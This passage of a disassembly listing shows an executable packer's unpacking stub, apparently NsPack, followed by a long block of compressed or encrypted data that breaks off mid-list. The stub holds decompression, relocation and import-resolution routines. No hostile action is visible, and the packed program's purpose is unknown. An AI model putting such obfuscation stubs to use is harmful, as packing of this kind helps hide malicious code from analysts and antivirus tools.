loc_46F2B2 loc_46F273: ; CODE XREF: start+100j start+10Ej mov al, [edi] inc edi sub al, 0E8h loc_46F278: ; CODE XREF: start+136j cmp al, 1 ja short loc_46F273 mov eax, [edi] cmp byte ptr [edx+1], 0 jz short loc_46F298 mov bl, [edx] cmp [edi], bl jnz short loc_46F273 mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah jmp short loc_46F2A2 ; --------------------------------------------------------------------------- loc_46F298: ; CODE XREF: start+108j mov bl, [edi+4] xchg al, ah rol eax, 10h xchg al, ah loc_46F2A2: ; CODE XREF: start+11Cj sub eax, edi add eax, esi mov [edi], eax add edi, 5 sub bl, 0E8h mov eax, ebx loop loc_46F278 loc_46F2B2: ; CODE XREF: start+F7j call sub_46F3F1 lea ecx, [ebp-126h] mov eax, [ecx+8] cmp eax, 0 jz loc_46F34A mov esi, edx sub esi, [ecx+10h] jz short loc_46F34A mov [ecx+10h], esi lea esi, [ebp-0F6h] mov esi, [esi] lea ebx, [esi-4] mov eax, [ecx] cmp eax, 1 jz short loc_46F2EF mov edi, edx add edi, [ecx+8] mov ecx, [ecx+10h] jmp short loc_46F2F7 ; --------------------------------------------------------------------------- loc_46F2EF: ; CODE XREF: start+169j mov edi, esi add edi, [ecx+8] mov ecx, [ecx+10h] loc_46F2F7: ; CODE XREF: start+173j start+18Ej xor eax, eax mov al, [edi] inc edi or eax, eax jz short loc_46F320 cmp al, 0EFh ja short loc_46F30A loc_46F304: ; CODE XREF: start+19Dj start+1A4j add ebx, eax add [ebx], ecx jmp short loc_46F2F7 ; --------------------------------------------------------------------------- loc_46F30A: ; CODE XREF: start+188j and al, 0Fh shl eax, 10h mov ax, [edi] add edi, 2 or eax, eax jnz short loc_46F304 mov eax, [edi] add edi, 4 jmp short loc_46F304 ; --------------------------------------------------------------------------- loc_46F320: ; CODE XREF: start+184j xor ebx, ebx xchg edi, esi mov eax, [esi] cmp eax, 0 jz short loc_46F34A loc_46F32B: ; CODE XREF: start+1BCj lodsd or eax, eax jz short loc_46F338 add ebx, eax add [edi+ebx], cx jmp short loc_46F32B ; --------------------------------------------------------------------------- loc_46F338: ; CODE XREF: start+1B4j xor ebx, ebx shr ecx, 10h loc_46F33D: ; CODE XREF: start+1CEj lodsd or eax, eax jz short loc_46F34A add ebx, eax add [edi+ebx], cx jmp short loc_46F33D ; --------------------------------------------------------------------------- loc_46F34A: ; CODE XREF: start+149j start+154j ... lea esi, [ebp-16Ah] mov edx, [esi] lea esi, [ebp-10Eh] mov al, [esi] cmp al, 1 jnz short loc_46F39D add edx, [esi+4] push esi push edx push esi push 4 push 100h push edx call dword ptr [ebp-0D6h] pop edi pop esi cmp eax, 1 jnz loc_46F53A add esi, 8 mov ecx, 8 rep movsb sub esi, 0Ch sub edi, 8 push esi push dword ptr [esi-4] push 100h push edi call dword ptr [ebp-0D6h] loc_46F39D: ; CODE XREF: start+1E2j push ebp pop ebx sub ebx, 8 xor ecx, ecx mov cl, [ebx] cmp cl, 0 jz short loc_46F3D6 inc ebx lea esi, [ebp-16Ah] mov edx, [esi] loc_46F3B7: ; CODE XREF: start+25Aj push esi push ecx push ebx push edx push esi push dword ptr [ebx] push dword ptr [ebx+4] mov eax, [ebx+8] add eax, edx push eax call dword ptr [ebp-0D6h] pop edx pop ebx pop ecx pop esi add ebx, 0Ch loop loc_46F3B7 loc_46F3D6: ; CODE XREF: start+14j start+232j mov eax, 0 cmp eax, 0 jz short loc_46F3EA popa popf mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_46F3EA: ; CODE XREF: start+264j popa popf jmp loc_46C3B0 start endp ; =============== S U B R O U T I N E ======================================= sub_46F3F1 proc near ; CODE XREF: start:loc_46F2B2p mov esi, [ebp-172h] or esi, esi jz loc_46F496 mov edx, [ebp-16Ah] add esi, edx loc_46F407: ; CODE XREF: sub_46F3F1+61j cmp dword ptr [esi], 0 jnz short loc_46F41A cmp dword ptr [esi+4], 0 jnz short loc_46F41A cmp dword ptr [esi+8], 0 jnz short loc_46F41A jmp short loc_46F494 ; --------------------------------------------------------------------------- loc_46F41A: ; CODE XREF: sub_46F3F1+19j ; sub_46F3F1+1Fj ... mov ebx, [esi+8] add ebx, edx push ebx push edx push esi lea edi, [ebp-7Eh] add edi, [esi+4] add esi, 0Ch push edi call dword ptr [ebp-0DEh] pop edi pop edx pop ebx cmp eax, 0 jz short loc_46F496 mov [ebp-162h], eax add edi, [esi] add esi, 4 loc_46F448: ; CODE XREF: sub_46F3F1+A1j xor ecx, ecx mov cl, [esi] cmp ecx, 0 jnz short loc_46F454 inc esi jmp short loc_46F407 ; --------------------------------------------------------------------------- loc_46F454: ; CODE XREF: sub_46F3F1+5Ej mov eax, edi add edi, ecx push edx push ebx push eax cmp byte ptr [eax], 0FFh jnz short loc_46F468 inc eax mov eax, [eax] and eax, 7FFFFFFFh loc_46F468: ; CODE XREF: sub_46F3F1+6Dj mov cl, [edi] mov byte ptr [edi], 0 push ecx push eax push dword ptr [ebp-162h] call dword ptr [ebp-0DAh] pop ecx pop edx pop ebx pop edx cmp eax, 0 jz short loc_46F496 mov [edi], cl mov [esi-4], eax push dword ptr [esi-4] pop dword ptr [ebx] add ebx, 4 inc esi jmp short loc_46F448 ; --------------------------------------------------------------------------- loc_46F494: ; CODE XREF: sub_46F3F1+27j clc retn ; --------------------------------------------------------------------------- loc_46F496: ; CODE XREF: sub_46F3F1+8j ; sub_46F3F1+4Aj ... jmp loc_46F53A sub_46F3F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_46F49B proc near ; CODE XREF: start+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0046F536 SIZE 00000004 BYTES push ebp mov ebp, esp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_46F4A7: ; CODE XREF: sub_46F49B+12j movsb loc_46F4A8: ; CODE XREF: sub_46F49B+34j ; sub_46F49B+7Dj call sub_46F51A jnb short loc_46F4A7 xor ecx, ecx call sub_46F51A jnb short loc_46F4D1 xor eax, eax call sub_46F51A jnb short loc_46F4E2 mov al, 10h loc_46F4C3: ; CODE XREF: sub_46F49B+2Fj call sub_46F51A adc al, al jnb short loc_46F4C3 jnz short loc_46F50F stosb jmp short loc_46F4A8 ; --------------------------------------------------------------------------- loc_46F4D1: ; CODE XREF: sub_46F49B+1Bj call sub_46F526 dec ecx loop loc_46F4EE mov eax, ebp call sub_46F524 jmp short loc_46F510 ; --------------------------------------------------------------------------- loc_46F4E2: ; CODE XREF: sub_46F49B+24j lodsb shr eax, 1 jz short loc_46F536 adc ecx, 2 mov ebp, eax jmp short loc_46F510 ; --------------------------------------------------------------------------- loc_46F4EE: ; CODE XREF: sub_46F49B+3Cj xchg eax, ecx dec eax shl eax, 8 lodsb mov ebp, eax call sub_46F524 cmp eax, 7D00h jnb short loc_46F50E cmp eax, 500h jnb short loc_46F50F cmp eax, 7Fh ja short loc_46F510 loc_46F50E: ; CODE XREF: sub_46F49B+65j inc ecx loc_46F50F: ; CODE XREF: sub_46F49B+31j ; sub_46F49B+6Cj inc ecx loc_46F510: ; CODE XREF: sub_46F49B+45j ; sub_46F49B+51j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_46F4A8 sub_46F49B endp ; =============== S U B R O U T I N E ======================================= sub_46F51A proc near ; CODE XREF: sub_46F49B:loc_46F4A8p ; sub_46F49B+16p ... add dl, dl jnz short locret_46F523 mov dl, [esi] inc esi adc dl, dl locret_46F523: ; CODE XREF: sub_46F51A+2j retn sub_46F51A endp ; =============== S U B R O U T I N E ======================================= sub_46F524 proc near ; CODE XREF: sub_46F49B+40p ; sub_46F49B+5Bp xor ecx, ecx sub_46F524 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_46F526 proc near ; CODE XREF: sub_46F49B:loc_46F4D1p inc ecx loc_46F527: ; CODE XREF: sub_46F526+Dj call sub_46F51A adc ecx, ecx call sub_46F51A jb short loc_46F527 retn sub_46F526 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46F49B loc_46F536: ; CODE XREF: sub_46F49B+4Aj pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_46F49B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_46F53A: ; CODE XREF: start+51j start+1FDj ... push 0 call dword ptr [ebp-0CAh] retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- inc dword ptr [eax] mov edx, [ecx] cmp edx, [ecx+4] jnz short loc_46F556 mov dword ptr [ecx+eax*2], 2300110h or al, 0FFh retn ; --------------------------------------------------------------------------- loc_46F556: ; CODE XREF: .nsp1:0046F54Aj pop es mov al, [edx] inc edx mov [ecx], edx pusha mov eax, [esp+4] sbb al, 83h popa adc [ebx], dh or [ebx+eax*4], cl push esi push ds and [ebx], al rol byte ptr [ecx+49h], 1 or bh, bh push 5 jmp short loc_46F585 ; --------------------------------------------------------------------------- dw 5E58h dd 239C9E8h, 0F0CE48Bh, 0C1C0B600h db 0E2h ; --------------------------------------------------------------------------- loc_46F585: ; CODE XREF: .nsp1:0046F574j or [ebx], cl retn 3E4Eh ; --------------------------------------------------------------------------- dw 4189h dd 5EEA750Fh, 5300040Eh, 8718B56h, 85DB3307h, 798057D2h dd 762C7E0Ch, 0D1EA1C55h, 3BE380EEh, 2B0572FEh, 0CB1D83E8h dd 0C5778101h, 0C1107360h, 0E8081AE6h, 41848985h, 4DF800E7h dd 675DD875h, 4C5F6289h, 8B1C5E7Ah, 8CB35BC3h, 614F97F2h dd 39B70F57h, 3CC1C2DCh, 0AF1E0BE8h, 0C7E00C7h, 4073F83Bh dd 0BC468931h, 1F566C0h, 0BFD0348Eh, 2B98F01Eh, 0FF00C1FAh dd 66F80305h, 7F813989h, 195CA87Eh, 0E8CE148Bh, 4E889F2Ah dd 381DE164h, 0DFF166BAh, 0EB0EE072h, 4FD02B42h, 89566DF8h dd 8FA06FD7h, 0D00AD20Ch, 0EA50C1E6h, 86DFC29Eh, 0FEE742A3h dd 5F40021Fh, 0D681C35Eh, 0BB5351ECh, 94DA3E16h, 1E8DB85h dd 891A7EF9h, 0B240FC5Dh, 708D0855h, 180CE634h, 0FD3FE83Eh dd 4DE6C603h, 0EB75FC0Ch, 242C25Eh, 0E2D3CB8Bh, 0C9045B5Fh dd 3A191F95h, 0F8DD8976h, 0C357309Ch, 7D3942FFh, 0FBD98BC9h dd 207EFCA8h, 12785665h, 1E0C4203h, 0BD2385E8h, 614D0CFh dd 9E003D3h, 3B47FC45h, 0E27C4812h, 2414151Bh, 6D61C988h dd 0DAE899F2h, 6E4940ECh, 54E8D3E4h, 380BABCFh, 0BE493DC6h dd 9FEA7C14h, 35A05B2Bh, 0D29C1950h, 435294FCh, 8751BC4h dd 65D0D1B8h, 0EEEC1D8h, 1468D07h, 326E0CFh, 471B76C3h dd 0D07396E8h, 2D80BDBh, 1C75F03Bh, 40A1FB81h, 0B21AEBD3h dd 221BB657h, 59A276E8h, 1C99D88Bh, 8AB88AE6h, 566585C3h dd 47FA820Eh, 417CE8F1h, 75C01385h, 0C2A4616h, 403AC57h dd 4C8D036Ah, 0E85AB030h, 0EB31C7DCh, 24EC03Bh, 32F8D78Bh dd 755724A8h, 104B1B65h, 0D8C2422h, 0B54E919Fh, 8C08301h dd 406A11EBh, 2048EF8h, 0CA213A1h, 67D2D210h, 384ABE2Ch dd 4E0813F9h, 4D41F154h, 24C8030Ch, 0B8704733h, 1A52A4F1h dd 0DCC9283Dh, 0F44DCCEBh, 28E806C8h, 0D210E6E5h, 4B661AD6h dd 90F84D41h, 0F020EC06h, 0E7D3E403h, 5073605h, 4ADB325Ah dd 0CCE1C4Fh, 55604D39h, 0DC2E1060h, 0D6A0873h, 0A0E95802h dd 769842E1h, 0D1C87540h, 0DCA8B7F9h, 0F3FE202Fh, 61C913ABh dd 75FF0A66h, 14032018h, 0C84D8D02h, 0A3FCFAE8h, 80207D8Eh dd 0D470860Fh, 10128A5Dh, 20861923h, 0DE89C1D8h, 66851860h dd 0F4EA13A3h, 2061AA42h, 0C29B4604h, 55624E73h, 46FD4464h dd 82766212h, 474223DCh, 8B1A580h, 20E74D2Ah, 0A590C380h dd 0C59CA3h, 8DC203A1h, 5904004h, 0FF83091Dh, 6C8806E4h dd 67D0F0Eh, 3F46587h, 243D10EBh, 9E05BA0Ah, 65B903EFh dd 0A50D060Ah, 830CEF4h, 0F6204974h, 0F8B02B39h, 48A1C9Ah dd 0AA88103Ch, 65A09A18h, 7783FE1Dh, 4708816Ch, 8AE76C0Eh dd 1C54D867h, 0F2836A94h, 7EAE0843h, 33340180h, 42E894C2h dd 3BC1A362h, 0AF1B50C3h, 2DB2E1C7h, 0E823983Ah, 0A62F519Eh dd 45752F8Eh, 920F47A4h, 0D18A0395h, 0E84605C1h, 75184E86h dd 0FEE392Ch, 558B8435h, 1FF0B514h, 9D0707FFh, 0F8912BC0h dd 9C1448Dh, 39F4F943h, 1338AD3h, 4A31FF33h, 4AE91288h dd 0B058A4CEh, 75184622h, 0EC48C305h, 2B2B27EBh, 0E80A8AC8h dd 0F0E1182Eh, 76BA09EBh, 87E410E4h, 0EC1D38B5h, 0EDB419B6h dd 0A2E613A8h, 8E8481DDh, 32480A68h, 0C2D5AA9Bh, 91EA6299h dd 0E0DC487Eh, 0BD9E7FDh, 0C2ADE911h, 0F06C8944h, 0DBE41C5Bh dd 9D6D0CD1h, 2C591284h, 6648888h, 0A113229h, 9750E81Bh dd 2404F8D9h, 34C7CB4h, 0D858247Dh, 3DF25194h, 81062407h dd 4B536093h, 549E7414h, 49647C21h, 0D6C7D1E2h, 4AFB2391h dd 0BA30CFF9h, 0CC3E98CAh, 7D5D0E2Ah, 0E4511524h, 5EF02B1Dh dd 80055E4Eh, 5DD73AE8h, 21EB7001h, 0E1E7C283h, 18A4FB0Fh dd 1C00493Eh, 6A50C845h, 44F691F1h, 0DBEB5A0Ah, 8590B4CEh dd 0D36284B6h, 648838Eh, 303424C9h, 9E3C80A6h, 393F3A77h dd 0D3C1A41Ch, 342429Ch, 40188AC7h, 9413940h, 0D2854A40h dd 57EC2A1h, 7220D43Bh, 78F1EC49h, 820FE0E7h, 45B59055h dd 83CC95D2h, 0D2851C6Eh, 7841EB75h, 63F0D1C3h, 72102E12h dd 800F8A87h, 0BB82E144h, 0F4D1610Dh, 62720124h, 96E94407h dd 55E3194Ah, 2E2D2E2Ch, 72805F2Eh, 8AE43214h, 2EB37DC1h dd 0AAC1F3F6h, 0C807C8Fh, 0FA7548D3h, 12BA093Ch, 1CF71CA6h dd 16F781FCh, 0F11EC9F5h, 0BB060682h, 0E35061C6h, 10E068CFh dd 9C268D92h, 5341A71Bh, 9D71FF52h, 0BD2077CDh, 0A17A90C8h dd 1494D38Bh, 206FB405h, 57885272h, 1DFC12B8h, 33242065h dd 18CE4F6h, 81806E46h, 2E69C36Ah, 8B020240h, 5FC385C6h dd 53F8C41Eh, 80B901h, 0 dd 2000005Dh, 17C5200h, 6E00000h, 6F000000h, 0A3FFFFFDh dd 3E47FFB7h, 39721548h, 92B85161h, 86A3E628h, 0E4EEF907h dd 2FD3821Eh, 13C3AC5h, 0C97EB14Bh, 2F4D8A8Ah, 7FD90DA3h dd 238CE3A6h, 59E05311h, 8A75C518h, 0B6F877E2h, 6A0C7F94h dd 4974DEC0h, 5CE9E264h, 0D804B253h, 0AB0C44F7h, 466D0D5Fh dd 76C3E5E9h, 5796B788h, 0E14DB6ACh, 0FB6F1D69h, 6C10884Bh dd 3F88CB42h, 0F35005Ch, 38A4B450h, 505F368Ah, 4F612308h dd 84FFF63Dh, 80A6EB53h, 0A00991E4h, 6F702968h, 0CB2C440Ch dd 9390F289h, 11D0854Bh, 51E0DEAFh, 0FDF77AF2h, 4E078AA2h dd 811643D2h, 0EE0F62B6h, 94D36E75h, 0E23805A1h, 1E8A612h dd 0C087E8D3h, 0DDEFBBE3h, 2B5E8F24h, 283B5C9h, 7894802Eh dd 0C07DB02h, 2F6BB8FFh, 0E01B6F3Eh, 0B2464AEFh, 0B146CCEAh dd 8B1D9AF9h, 0F3B8A24Bh, 0EE9F0A77h, 0D1DF915Dh, 1D37EE47h dd 0BE4B3D82h, 0AB8F6810h, 1F2E48C6h, 97BECF79h, 50E6D781h dd 79CB5716h, 0DD686B6Ch, 0FC08F7ADh, 895A672Fh, 4AAC4654h dd 0C82BCFABh, 0FA3092DBh, 4AEA9B2Dh, 6A3C44E5h, 8ADAED01h dd 6DA3F0B1h, 9D9E2B53h, 0B30A67D6h, 0AF1D690h, 4154B55Ch dd 4662341Ch, 0D1FDBDBDh, 86D396C2h, 0CB522DE0h, 0AED96C65h dd 0EB825C07h, 42AE0ABEh, 7E215B10h, 3B3A768Fh, 0C72A5F31h dd 0AB681B6Ch, 9AE7A192h, 5E30A637h, 47BA39A4h, 2A4241EFh dd 5C7F542Fh, 34C37C6Fh, 79C9C090h, 7162E0DBh, 0B8E90F18h dd 552AB40h, 17C9CEF5h, 0F8E215D3h, 0BC1D07DFh, 0A25FEFDDh dd 65A9B274h, 6C584910h, 0C0AAF869h, 39324C21h, 0C72D754Fh dd 0FA9D1E54h, 1A870AD0h, 9776F907h, 0FF8DFBA2h, 0F9984112h dd 0E1041F88h, 5523E3F6h, 0CB83419Ch, 42F6C1DBh, 5701F961h dd 9A85E9C3h, 72F13E23h, 0ADEDD1D9h, 30C376BFh, 289A5492h dd 0B99A705h, 0D62DEE46h, 0BFEF2274h, 25B20072h, 0F5C92B3Ch dd 1B2B3B43h, 0E2F54864h, 6B576A1Eh, 20A92D24h, 0B3BF2D83h dd 2FC28325h, 0DC5AB8D3h, 214C25ACh, 3D04FF45h, 14CC0C54h dd 7EB64E46h, 90A3979Bh, 0A4A36940h, 30124D7h, 459E051Ah dd 490FF85Eh, 8F082EF3h, 0EC2E11E9h, 9B620719h, 0F720EB44h dd 1ED46268h, 66DD8E67h, 45070E79h, 574B32A9h, 0B08993F7h dd 416B4B22h, 48EBD85Eh, 0AA8860C6h, 12302DC4h, 0CB3A0FC5h dd 0E429DFECh, 2BB17841h, 0E5ADC919h, 8D9BCF77h, 3AA2948h dd 50874D6Eh, 2BD6FC31h, 0A020184Dh, 0E152A11Eh, 70E5DAFEh dd 0E499C78Fh, 7A2A7402h, 0FCC1FED1h, 5AD7F6F1h, 9125625Dh dd 59792489h, 8E14B3C1h, 0C281CF30h, 13BD8C56h, 817A21FFh dd 0F27D2AE8h, 0B201AE42h, 0EECE6190h, 7D75D60Ah, 5057BEFEh dd 4DE3ADF8h, 55165B2Bh, 0E47C4AB4h, 9FB5A487h, 5526992h dd 45DD8B3Ah, 0FF854947h, 59BA5A9Eh, 0BC33748h, 0E6608A20h dd 0AE634197h, 0D19CAECEh, 0C37B1F50h, 0BD216EA6h, 530B8BB2h dd 5B4B35B6h, 0DDC16E1Ah, 0E39C65A0h, 9FF45F1Ah, 1980622Ah dd 374CE99Dh, 9F775046h, 9F4D0D8Bh, 5D97E2DDh, 0A8BDD0A0h dd 3839C4Ch, 514BD75Ch, 58BD209Bh, 0F86AD79Dh, 2FAB3C20h dd 0DDEA2ADAh, 9D5AF649h, 98054836h, 2CA38116h, 750BCAC4h dd 0D3C339DAh, 5CB2D33Eh, 0F131DB40h, 543D4B03h, 45EAE853h dd 8115DA71h, 2B70CF9Dh, 76CD3D74h, 89251E3Bh, 69ECDDA9h dd 0B6A74C73h, 2D7CCA8h, 64A93FA5h, 7231AD2Bh, 317C07FBh dd 2DBDFF15h, 7146DB68h, 0B5C46A8Dh, 2701A644h, 0ED6E7226h dd 0D6A4EAFBh, 66117C7Bh, 3CAF916Dh, 0FA500EA1h, 0E8C976FDh dd 0C7F33092h, 90AF8D3h, 2E7601Fh, 44FE6004h, 33A9038Bh dd 0D6D588D0h, 7CD08816h, 0CA623D43h, 53973742h, 2E5688A0h dd 913EE11Ch, 543CB104h, 1EC8FACDh, 746C456Fh, 2D68D019h dd 7265507Ch, 1E79D8F0h, 0F0EA1491h, 0E2DD58BBh, 0D48A9BC1h dd 637A5BF2h, 9D90218h, 1429E57Ah, 3748F085h, 72023793h dd 0EA5D74Bh, 0CEEB93Ah, 0B6E563D2h, 3B4267D9h, 0F2BA995Dh dd 70A34259h, 0F0F6140Bh, 0AF01349h, 23453E6Ah, 0A8A6AB9Eh dd 89A70E50h, 1510797Ah, 0AE82AF7Fh, 0AF51C9E9h, 56A9016Bh dd 77A642B5h, 2CB74A64h, 6E46B95Bh, 0A753B4Eh, 79AB2EECh dd 0CF4A97FDh, 93A7AEC6h, 5009270Ch, 0E612A08Fh, 77D247CBh dd 3FA3DC92h, 0F00EFE78h, 0E7193EE2h, 29E67D38h, 5904BD30h dd 0B62A523Fh, 339AC447h, 7127E71h, 0FECE908Dh, 361181C6h dd 5EE4BAC0h, 0AB50C5DEh, 91955602h, 9E254693h, 0C54E11Fh dd 6A1AD3F9h, 8A52C0B4h, 0B324C8C2h, 55D547BCh, 3E9A5D98h dd 4A40618Ch, 0E137D001h, 0E01B10h, 82B3854Ch, 2AD57C4Ah dd 0EEA7EF38h, 25644980h, 6A34E870h, 4C745469h, 2C77BA65h dd 23F53EB1h, 0BFF49E69h, 4453083Ah, 0BFB18176h, 5BA3C154h dd 6D05147Eh, 32888C24h, 0C84FA7DEh, 8B921EDh, 80274B37h dd 82AC9523h, 396E2D0Eh, 0D1CDC99Dh, 0AC0A3ABFh, 680BF3D0h dd 0B7C68BF6h, 44AF975h, 24184E96h, 0A556C08Fh, 0E22B55C3h dd 0EF950F76h, 6F36A37Eh, 378AC10Bh, 0C3945D90h, 0A45CEF3Bh dd 0C08D92Bh, 0D38675DEh, 0A7B40E7Ch, 0F61EE6B0h, 2282184Ch dd 0F0FCC526h, 98181F7Fh, 51BBC1A9h, 0C263C78Bh, 61789DCAh dd 0FE5E00CAh, 66A4CA94h, 0B574D5F6h, 0B746D8F4h, 2D8FCC41h dd 8142A18Bh, 5A9C4FBBh, 0A79AFB19h, 4792159Dh, 35451E03h dd 92A19AC6h, 81DDCC63h, 7F870671h, 4FDE9432h, 4B608524h dd 6D8C74BBh, 70ABE4AFh, 1B0292B5h, 685162Dh, 0FEE568Bh dd 1033AEB5h, 55B9B8B7h, 915F3F88h, 89C67492h, 943DBB87h dd 1A49062Eh, 0E8E16F42h, 91E06E8Fh, 0A98E16C8h, 0F5A9C91h dd 5E374AEh, 0DB923D0Bh, 2FE401A8h, 34521A58h, 1E389E41h dd 8CD49A0Ch, 5BC5B828h, 9CAB23BFh, 4EE34F98h, 0F9B918B4h dd 4D6DDDEDh, 0F5C55B1Dh, 0EB696EEEh, 6933B595h, 47A64ACDh dd 0F718439Eh, 758910DAh, 9F288CD5h, 988BCEE3h, 0FFFDA415h dd 7B16E0E0h, 68AC8375h, 22984739h, 3104EB5Fh, 0B5B656F2h dd 19A264CBh, 13B24F3Ch, 0E86F85DCh, 3B4071B1h, 11676670h dd 1A88D2B7h, 2A8DD41Bh, 0BC7C3E67h, 0E1467849h, 0CC1C0E5Ch dd 37979C10h, 7239BAE3h, 0BCBE9CDh, 4543A0Ah, 0E579C42Fh dd 1353E623h, 0A3F475D5h, 8A7C9C92h, 0D9A6E9ADh, 0B1A67AD5h dd 998BC9DAh, 5AF6C632h, 520C7F72h, 31CD2EB1h, 0EDD805A6h dd 9AE2E33Eh, 0C319548Ch, 1D220339h, 839E2F32h, 0BEB8D3A4h dd 7C0ACE4Ah, 7155B89Ch, 0C8289D7Ch, 0EFCC01BAh, 6C3CEC87h dd 0EE90E2D9h, 0D8726861h, 456FCF51h, 0CAEEA0D2h, 0ED8BBBE2h dd 0B2016CA1h, 0DA4C1885h, 0C7348D6Fh, 0E229AB45h, 0D1F00604h dd 9AC58849h, 0EEC62FF7h, 0B559E689h, 280E3CEAh, 23A4878Bh dd 0AE0E587Ch, 50D82BFCh, 0D2E4FB21h, 0FA3E9D1Ah, 0DCCA3667h dd 0E8D19D3Ah, 0F161AD5Eh, 82F3E088h, 0DDA1FD9h, 0DC566E6Dh dd 0DFD943FDh, 9422B48Dh, 0EBBF02D5h, 0E0871682h, 0FD0FFF3Eh dd 5925918Ah, 47FEB1C1h, 0C0A2BF28h, 0CA2CCEA3h, 0C7800E5Eh dd 7A082E88h, 9C0E0687h, 50D2BBE0h, 8A2A96B1h, 6B0ED5C7h dd 22D07223h, 6ED70124h, 21D33452h, 0A0EF9D08h, 0E9853ABCh dd 0D32388A7h, 5E0730F2h, 0C4008AC8h, 8CC8D792h, 413F2591h dd 0F2EA59C9h, 2C4DBB5h, 415D404Fh, 0BEB20985h, 851A4CB3h dd 4DEDD44Bh, 0F13D4211h dd 1238025Ah, 0D5D862FFh, 38D4CC89h, 0B8233A4Fh, 3EF705C2h dd 0BC3151DEh, 5D7714B6h, 0CA277393h, 8B859B3Eh, 0BBE19F9Ch dd 3232EBC5h, 134F1D32h, 367CCA62h, 462978BBh, 10F93A66h dd 0EB97982Ah, 20F4FDCh, 11BB57ABh, 781B377Ch, 0FBC2244h dd 98FED20Bh, 7A5F2AC5h, 64E4F825h, 0C4F06D70h, 0B93A0Bh dd 0A182BA77h, 0E72006D0h, 7E7DC61Bh, 5B83B304h, 89FFF3D4h dd 4A39650Fh, 39C696C3h, 13F910BCh, 0DBF5BCBh, 65DEFDFAh dd 13D7FCADh, 9DED4A6h, 207E77AAh, 3DB77EF8h, 9859142Ch dd 494BA99Ch, 0BD7BB57Ch, 7A829D60h, 943F182Ah, 3962D53h dd 194D141Fh, 0B48D79C0h, 3D28CD78h, 0B7D7C9EDh, 0A12E4DCAh dd 387DD789h, 3BC6428Fh, 54E5C7D3h, 0F56281D4h, 1C6AC6ADh dd 4BE546BAh, 1C25594Bh, 4B5D00BCh, 46819710h, 7886BB3h dd 917A1C24h, 520153CEh, 167514A9h, 0AA84D605h, 0EB8E2EEFh dd 4703EABAh, 0C05E25Ah, 10E9D145h, 0ACF2B233h, 622CE740h dd 0CD4451F8h, 97AD0A35h, 30C1D7E5h, 8B9D43B7h, 8CD42184h dd 8D56B467h, 0EE7AC894h, 8855A8F0h, 9B09C80Ah, 600F59A9h dd 0EF81B1Eh, 9FBBED25h, 0DCDB19Bh, 72617E60h, 9ED7BF3Ah dd 24B9E74Eh, 9FCE369h, 63F94398h, 88411CA4h, 3DE4D551h dd 8DF75559h, 44CA134Eh, 4F5511A3h, 1AE87AD1h, 0BE624333h dd 94F3609Eh, 677714ABh, 0D03D00AAh, 793F2649h, 770F16B3h dd 1521D2B1h, 0ED65F734h, 0BEB4C427h, 30F78CBCh, 7655C29Fh dd 844039Eh, 0DA621D03h, 11230EA3h, 7E1BDDDFh, 0FE466479h dd 48D11C30h, 5D27BDDBh, 0E6C23BECh, 3FE38D3Dh, 0D40A591Eh dd 0A6AA036Fh, 0F8E1B352h, 5ACBAF80h, 83A6A715h, 3834646Bh dd 3696F938h, 7198F9B7h, 54EB1063h, 0CADDE053h, 24481641h dd 0D1CF8A68h, 44AEA0C1h, 0A4E42F0Bh, 0C0C1F527h, 3CB992BEh dd 0BB2E79Ah, 5C935412h, 0A6A0AA5h, 1273F7A3h, 0F5BA50AAh dd 7AFE8CD3h, 9C19F6h, 570CD467h, 0E94C6965h, 0E3C4210Fh dd 4A253CF6h, 419611F8h, 64628ECFh, 782741D9h, 0FA736F2Eh dd 0E6CB7711h, 83874FF9h, 0C26A9C53h, 4D8CE55Eh, 3734D81Dh dd 7923DB64h, 527939CAh, 8B3DCD9h, 54191E31h, 4FAF2110h dd 27FDBA11h, 0D44A5C2Ch, 9D6F418Fh, 0EED69DECh, 0E7CD5C33h dd 70687B91h, 0A3430295h, 0F3FA820Dh, 0A8094E64h, 0D745DA91h dd 0DD3773D6h, 843D4A34h, 0F56C51B4h, 9B3DD5A6h, 0C8384B3h dd 0F9446906h, 0D283E3D6h, 0B4CDD77Dh, 5B90811Fh, 5E4F1AC6h dd 0E8C0C7AFh, 2AE5C5Ah, 87E91FCDh, 1E18887Bh, 1BA3C33Ah dd 71BED98h, 21186EA8h, 553C4B83h, 51649C96h, 7403100Eh dd 0DFF12225h, 2655B700h, 0BC90596Ah, 1D5E6880h, 561F3C78h dd 97A271B8h, 339E6E2Dh, 23ED41EAh, 208C8227h, 3074A132h dd 0B4E8B31h, 7B57FD55h, 5CEC5F8Ah, 73F5CF21h, 6E64B769h dd 0DB17C93h, 0CB162DE3h, 0ACC0AC48h, 56A8BBE0h, 0F7BDBE75h dd 50E558E6h, 0A78CCC34h, 0B16E75A5h, 0F521C71Ah, 84048FF9h dd 74F15D9h, 3AA41FA9h, 0BE15EC4h, 0E5B0C593h, 80F14D55h dd 0A154E12Ch, 8B2CEBE6h, 19CAD01Dh, 8A0900A7h, 13DAF8DCh dd 0B271CAB1h, 365FB4DBh, 2EB9795Eh, 950F80Bh, 55F2613Ah dd 0E6FACD91h, 0D89EADB5h, 0A0BEA882h, 1ED8E4D6h, 4194F596h dd 0C4D892F1h, 1959148Eh, 5C81BBFh, 0C7C46EC1h, 4C3E1E0Ch dd 567BE27Ch, 0E02B0421h, 0AD5E1D7Fh, 7992FC7Bh, 0CB3BF407h dd 3EDE866Fh, 0ADCCF021h, 858C5B6h, 81E2F956h, 0C4548892h dd 0CC274783h, 8CE098A5h, 0D11061E1h, 0F9539C1Ch, 0BC483632h dd 33213671h, 7D7FE5F3h, 678B7F42h, 44A6B7C5h, 974AEDF2h dd 0DA75829Fh, 6F29D343h, 0F2A0918Fh, 5223653Dh, 0B8115D0Ch dd 430C0127h, 236E500Eh, 0A0AFFF8Eh, 0A8A252C8h, 0F67F7E4Eh dd 0A40C579Ch, 